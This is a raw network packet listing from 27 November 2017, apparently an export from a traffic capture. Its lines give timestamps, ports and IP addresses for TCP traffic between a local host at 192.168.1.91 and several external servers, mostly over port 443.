Nov 27, 2017 12:34:54.461134911 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.461148977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.481350899 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.483938932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.483958006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.483966112 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484097004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484108925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484158993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484169960 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484177113 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484225035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484251976 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484270096 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.484309912 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484333992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484343052 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484349966 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484357119 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484394073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484441996 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484452009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.484868050 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.484913111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.488948107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.489351988 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.489372969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.491127968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.491148949 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.491267920 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.491295099 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.491393089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.491408110 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.491838932 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.491863012 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.492908955 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.495470047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.497531891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.497554064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.498089075 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.498111010 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.498480082 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.502751112 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.502784014 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.502799988 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.502912998 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.502932072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.506200075 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.506228924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.506855965 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.506875038 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.506885052 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.508007050 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.508028984 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.510458946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.510482073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.511866093 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.511925936 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.511945963 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.512765884 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.513062954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.513078928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.513088942 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.513206959 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.514148951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.515969992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.516002893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.516207933 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.516227961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.517034054 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.517283916 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.517301083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.518188000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.518207073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.518466949 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.518486023 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.520592928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.520616055 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.520750046 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.520772934 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.521441936 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.521928072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.521944046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.521950960 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.522032022 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.525500059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.525516987 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.525523901 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.525696993 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.531929970 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.531948090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.531955004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.532085896 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.536530018 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.536561966 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.536567926 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.537723064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.537731886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.538292885 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.538319111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.540071964 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.540093899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.540100098 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.540385008 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.540406942 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.543055058 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.543834925 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.544528961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.544545889 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.544553041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.545017958 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.545042992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.545114040 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.545126915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.545630932 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.545646906 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.551336050 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.551362991 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.551367998 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.551611900 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.551636934 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.551790953 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.561207056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.561232090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.561523914 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.561547041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.568506956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.568527937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.568620920 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.568653107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.569150925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.569171906 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.570005894 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.570028067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.583914995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.583940029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.584445953 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.584474087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.586129904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.586314917 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.586339951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.591161013 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.591178894 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.591191053 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.591202021 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.591238976 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.591288090 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.591311932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.592191935 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.606281042 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.606297970 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.606304884 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.606390953 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.606573105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.606585026 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.606591940 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.606816053 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.610372066 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.612907887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.613166094 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.617161989 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.617186069 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.617191076 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.617384911 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.620409012 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.620434046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.620439053 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.620522976 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.621860981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.621872902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.621881962 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.621953011 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.625616074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.625631094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.625966072 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.625988960 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.635298967 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.635327101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.635448933 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.635471106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.635616064 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:54.635624886 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:34:54.639789104 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:54.639844894 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:34:54.644706011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.644747019 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.644892931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.644911051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.644928932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.645018101 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.645040035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.648694038 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.652347088 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.655450106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.655488968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.655654907 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.655677080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.666050911 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.666096926 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.666488886 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.666524887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.672457933 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.672506094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.676093102 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.676162004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.681696892 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.681714058 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.682128906 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.682151079 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.688776970 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.695579052 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.705513954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.705530882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.705537081 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.705641031 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.705708027 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.712848902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.730580091 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.735924006 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.735949993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.740993977 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.741430044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.741446018 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.741452932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.741534948 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.745476007 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.748374939 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.748389006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.748394966 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.748517036 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.751997948 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.754854918 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.760821104 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:34:54.760849953 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:34:54.761101961 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:54.761117935 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:54.769002914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.781302929 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.781332970 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.783745050 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.783785105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.826961994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.827004910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.827195883 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.827230930 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.850076914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.850112915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.850486994 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.850507975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.868503094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.868537903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.869931936 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.869976044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.924917936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.924956083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.925245047 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.925287962 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.953392029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.953418970 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.953733921 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.953756094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.988426924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:54.988862038 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:54.988888025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.017477036 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.017508030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.017826080 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.017849922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.103658915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.103696108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.104008913 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.104052067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.202831984 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:55.202878952 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.202898026 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.203035116 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.203074932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.211492062 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:34:55.211534023 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:55.341264009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.341299057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.341696024 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.341743946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.424926996 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.424964905 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.424983025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.425209999 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.425235987 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.455583096 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.455646992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.455816984 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.455836058 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.478568077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.478594065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.478694916 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.478712082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.517422915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.517452955 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.517563105 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.517581940 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.551111937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.551147938 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.551170111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.551428080 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.551457882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.560837030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.560861111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.560960054 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.560988903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.581423998 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.581449032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.581585884 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.581613064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.594465971 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.594588995 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.594614029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.601934910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.601954937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.602087975 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.602113962 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.610471010 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.610495090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.610722065 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.610743046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.617456913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.617476940 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.619061947 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.619095087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.637299061 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.637326002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.637618065 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.637649059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.657444000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.657471895 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.657708883 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.657737970 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.684866905 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.684894085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.684900999 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.685159922 CET	49167	443	192.168.1.91	192.30.253.121
